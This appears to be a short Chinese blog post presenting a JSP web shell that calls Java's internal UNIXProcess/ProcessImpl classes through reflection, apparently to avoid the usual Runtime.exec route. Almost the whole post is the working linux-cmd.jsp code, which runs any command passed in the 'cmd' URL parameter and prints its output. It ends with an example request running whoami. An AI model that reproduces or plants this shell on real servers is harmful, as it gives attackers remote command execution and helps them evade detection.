0x01 前言
这个姿势最开始还是在博客园看到的,但是不知道为啥子现在文章404了,好在当时把文中的代码备份下来了
ProcessImpl 和 UNIXProcess 本质上可以认为是一个东西
因为最终他们都是调用了 forkAndExec类执行的底层c语言的命令
0x02 反射调用
注意: 这个代码抄的之前博客园的文章的,现在404了,我找不到原文地址
# 在 webapp目录下面新建立一个文件: linux-cmd.jsp# 文件名: linux-cmd.jsp<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.*" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Method" %><%String[] str = request.getParameterValues("cmd");if (str != null) {InputStream in = start(str);String result = inputStreamToString(in, "UTF-8");out.println(result);}%><%!public InputStream start(String[] strs) throws Exception {assert strs != null && strs.length > 0;String UNIXProcessClass = "java.lang.UNIXProcess";String ProcessImplClass = "java.lang.ProcessImpl";// 反射创建UNIXProcess或者ProcessImplClass clazz = null;try {clazz = Class.forName(UNIXProcessClass);} catch (ClassNotFoundException e) {clazz = Class.forName(ProcessImplClass);}// 获取UNIXProcess或者ProcessImpl的构造方法Constructor<?> constructor = clazz.getDeclaredConstructors()[0];constructor.setAccessible(true);byte[][] args = new byte[strs.length - 1][];int size = args.length;for (int i = 0; i < args.length; i++) {args[i] = strs[i + 1].getBytes();size += args[i].length;}byte[] argBlock = new byte[size];int i = 0;for (byte[] arg : args) {System.arraycopy(arg, 0, argBlock, i, arg.length);i += arg.length + 1;}int[] envc = new int[1];int[] std_fds = new int[]{-1, -1, -1};FileInputStream f0 = null;FileOutputStream f1 = null;FileOutputStream f2 = null;try {if (f0 != null) {f0.close();}} finally {try {if (f1 != null) {f1.close();}} finally {if (f2 != null) {f2.close();}}}// 创建UNIXProcess或者ProcessImpl实例Object object = constructor.newInstance(toCString(strs[0]), argBlock, args.length,null, envc[0], null, std_fds, false);// 获取命令执行的InputStreamMethod inMethod = object.getClass().getDeclaredMethod("getInputStream");inMethod.setAccessible(true);return (InputStream) inMethod.invoke(object);}%><%!private byte[] toCString(String s) {if (s == null) {return null;}byte[] bytes = s.getBytes();byte[] result = new byte[bytes.length + 1];System.arraycopy(bytes, 0, result, 0, bytes.length);result[result.length - 1] = (byte) 0;return result;}private String inputStreamToString(InputStream in, String charset) throws IOException {try {if (charset == null) {charset = "UTF-8";}ByteArrayOutputStream out = new ByteArrayOutputStream();int a = 0;byte[] b = new byte[1024];while ((a = in.read(b)) != -1) {out.write(b, 0, a);}return new String(out.toByteArray());} catch (IOException e) {throw e;} finally {if (in != null) {in.close();}}}%>
访问url: http://127.0.0.1:8081/mavenJspTest_war/linux-cmd.jsp?cmd=whoami

